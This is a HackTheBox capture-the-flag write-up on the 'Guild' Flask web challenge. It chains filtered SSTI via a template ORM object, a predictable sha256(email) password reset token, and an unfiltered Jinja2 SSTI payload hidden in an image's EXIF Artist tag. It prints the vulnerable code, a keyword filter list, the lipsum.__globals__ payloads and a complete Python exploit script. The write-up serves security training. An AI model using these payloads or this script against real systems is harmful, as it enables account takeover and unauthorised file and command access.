← Back to Writeups
HTBN/AWeb

Guild

XESXOR8/23/20266 min read
#web#htb#n/a

Guild

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-29 | Status: Solved Techniques: lipsum_globals, orm_query_injection, predictable_token, ssti_exif_injection

Summary

Task: Exploit a Flask app with multiple SSTI injection points, EXIF metadata processing, and predictable password reset tokens. Solution: Leak admin email via filtered bio SSTI using User ORM object in template context, reset admin password using sha256(email) token, then exploit unfiltered SSTI in EXIF Artist tag using lipsum.globals to read the flag file.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260129_htb_guild
  • Tags: flask, filter_bypass, ssti, jinja2, password_reset, exif
  • Indicators: render_template_string, EXIF metadata, sha256(email) reset token, User object in template context
  • Source: 20260129_htb_guild.md

Foothold

Vulnerability / Misconfiguration

  1. Lipsum_globals
  2. Orm_query_injection
  3. Predictable_token
  4. Ssti_exif_injection
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • lipsum_globals
  • orm_query_injection
  • predictable_token
  • ssti_exif_injection
  • Tags: flask, filter_bypass, ssti, jinja2, password_reset, exif

Original Writeup

<details><summary>Click to expand original content</summary>

Guild - HackTheBox

Description

"Welcome to the Guild! But please wait until our Guild Master verify you. Thanks for the wait"

Flask web application with user registration, verification system, and admin panel.

Analysis

Application Structure

Key files:

  • views.py - Main routes including verification, profile, admin panel
  • auth.py - Authentication routes
  • models.py - User, Verification, Validlinks models

Vulnerability 1: SSTI in Bio Field (Filtered)

Location: /user/<link> route (line 242-243 in views.py)

bio = Verification.query.filter_by(user_id=query1.id).first().bio
temp = open("/app/website/templates/newtemplate/shareprofile.html", "r").read()
return render_template_string(temp % bio, User=User, Email=email, username=query1.username)

The bio field is inserted via %s into template and rendered with render_template_string. However, there's a filter (checkInput()) blocking many keywords:

payloads = [
    "*", "script", "alert", "debug", "%", "include", "html", "if", "for",
    "config", "img", "src", ".py", "main", "herf", "pre", "class", "subclass",
    "base", "mro", "__", "[", "]", "def", "return", "self", "os", "popen",
    "init", "globals", "base", "class", "request", "attr", "args", "eval",
    "newInstance", "getEngineByName", "getClass", "join"
]

Key observation: The User object is passed to the template context! This allows ORM queries without using blocked keywords.

Vulnerability 2: SSTI in EXIF Artist Tag (Unfiltered!)

Location: /verify route (line 137-141 in views.py)

if "Artist" in exif_table.keys():
    sec_code = exif_table["Artist"]
    query.verified = 1
    db.session.commit()
    return render_template_string("Verified! {}".format(sec_code))

The EXIF "Artist" tag from uploaded images is directly passed to render_template_string without any filtering! This is the critical vulnerability.

Vulnerability 3: Predictable Password Reset Token

reset_url = str(hashlib.sha256(email.encode()).hexdigest())

The password reset token is simply sha256(email) - completely predictable if you know the email.

Exploitation Chain

Step 1: Leak Admin Email via Bio SSTI

The bio SSTI has filtering, but User object is passed to template. We can query the database:

{{ User.query.filter_by(username="admin").first().email }}

This bypasses the filter (no blocked keywords used) and returns: 583931747a667053@master.guild

Step 2: Reset Admin Password

Calculate reset hash:

import hashlib
admin_email = "583931747a667053@master.guild"
reset_hash = hashlib.sha256(admin_email.encode()).hexdigest()
# POST to /changepasswd/<reset_hash> with new password

Step 3: Create Malicious Image with SSTI in EXIF

Using exiftool to embed payload in Artist tag:

exiftool -Artist='{{lipsum.__globals__.__builtins__.open(lipsum.__globals__.os.path.join(lipsum.__globals__.os.path.dirname(config.root_path),"flag.txt")).read()}}' image.jpg

The payload uses:

  • lipsum.__globals__ to access Python globals (lipsum is a Jinja2 built-in)
  • __builtins__.open() to read files
  • os.path.join() and os.path.dirname(config.root_path) to build path /app/flag.txt

Step 4: Upload Image as Regular User

Register new user, upload the malicious image for verification.

Step 5: Verify as Admin

Login as admin, go to admin panel, click verify on the uploaded image. The SSTI payload executes and returns the flag.

Solution

#!/usr/bin/env python3
import requests
import hashlib
import io
from PIL import Image
import subprocess
import tempfile
import os
import random
import string
import re
import html

TARGET = "http://94.237.122.188:51088"


def rand_str(n=8):
    return "".join(random.choices(string.ascii_lowercase, k=n))


def test_exif_payload(admin_session, payload, debug=False):
    """Test a payload via EXIF Artist tag"""
    img = Image.new("RGB", (100, 100), color="blue")
    with tempfile.NamedTemporaryFile(suffix=".jpg", delete=False) as f:
        img.save(f, format="JPEG")
        temp_path = f.name

    result = subprocess.run(
        ["exiftool", f"-Artist={payload}", "-overwrite_original", temp_path],
        capture_output=True,
        text=True,
    )

    with open(temp_path, "rb") as f:
        img_data = f.read()
    os.unlink(temp_path)

    # Create attacker user and upload image
    attacker = requests.Session()
    attacker_name = rand_str()
    attacker.post(
        f"{TARGET}/signup",
        data={
            "email": f"{attacker_name}@test.com",
            "username": attacker_name,
            "password": "pass",
        },
    )
    attacker.post(
        f"{TARGET}/login", data={"username": attacker_name, "password": "pass"}
    )
    attacker.post(
        f"{TARGET}/verification",
        files={"file": ("exploit.jpg", img_data, "image/jpeg")},
    )

    # Admin verifies the image
    r = admin_session.get(f"{TARGET}/admin")
    verifications = re.findall(r'name="verification_id" value="(\d+)"', r.text)
    user_ids = re.findall(r'name="user_id" value="(\d+)"', r.text)

    if verifications:
        verf_id = verifications[-1]
        user_id = user_ids[-1]
        r = admin_session.post(
            f"{TARGET}/verify", data={"user_id": user_id, "verification_id": verf_id}
        )
        if "Verified! " in r.text:
            result = r.text.split("Verified! ", 1)[1]
            result = html.unescape(result)
            return result
    return None


# === STEP 1: Leak admin email via bio SSTI ===
print("[*] Step 1: Leaking admin email...")
s1 = requests.Session()
user1 = rand_str()
s1.post(
    f"{TARGET}/signup",
    data={"email": f"{user1}@test.com", "username": user1, "password": "pass"},
)
s1.post(f"{TARGET}/login", data={"username": user1, "password": "pass"})

# Upload dummy image for verification
img = Image.new("RGB", (100, 100), color="red")
img_bytes = io.BytesIO()
img.save(img_bytes, format="JPEG")
img_bytes.seek(0)
s1.post(
    f"{TARGET}/verification",
    files={"file": ("test.jpg", img_bytes.getvalue(), "image/jpeg")},
)

# Create share link and set bio with SSTI payload
s1.get(f"{TARGET}/getlink")
s1.post(
    f"{TARGET}/profile",
    data={"bio": '{{ User.query.filter_by(username="admin").first().email }}'},
)

# Read the leaked email
r = s1.get(f"{TARGET}/user/{user1}")
match = re.search(r'<p class="para-class">([^<]+)</p>', r.text)
ADMIN_EMAIL = match.group(1).strip()
print(f"[+] Admin email: {ADMIN_EMAIL}")

# === STEP 2: Reset admin password ===
print("[*] Step 2: Resetting admin password...")
admin = requests.Session()
admin.post(f"{TARGET}/forgetpassword", data={"email": ADMIN_EMAIL})
reset_hash = hashlib.sha256(ADMIN_EMAIL.encode()).hexdigest()
admin.post(f"{TARGET}/changepasswd/{reset_hash}", data={"password": "hacked123"})
admin.post(f"{TARGET}/login", data={"username": "admin", "password": "hacked123"})
print("[+] Admin session ready")

# === STEP 3-5: SSTI via EXIF to read flag ===
print("[*] Step 3-5: Exploiting EXIF SSTI...")
path_expr = "lipsum.__globals__.os.path.join(lipsum.__globals__.os.path.dirname(config.root_path),'flag.txt')"
payload = "{{lipsum.__globals__.__builtins__.__import__('subprocess').check_output('cat '+"+path_expr+",shell=True)}}"

result = test_exif_payload(admin, payload)
print(f"[+] FLAG: {result}")

Lessons Learned

  1. Filter bypass via alternative injection points: When one SSTI point is filtered, look for others that might not be
  2. EXIF metadata as attack vector: Image metadata fields can carry payloads that survive upload/processing
  3. ORM objects in templates: Passing ORM models to templates can enable database queries via SSTI
  4. Predictable tokens: sha256(email) is not a secure reset token - use cryptographically random tokens
  5. Jinja2 lipsum trick: lipsum.__globals__ provides access to Python globals without using __class__, __mro__, etc.

References

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR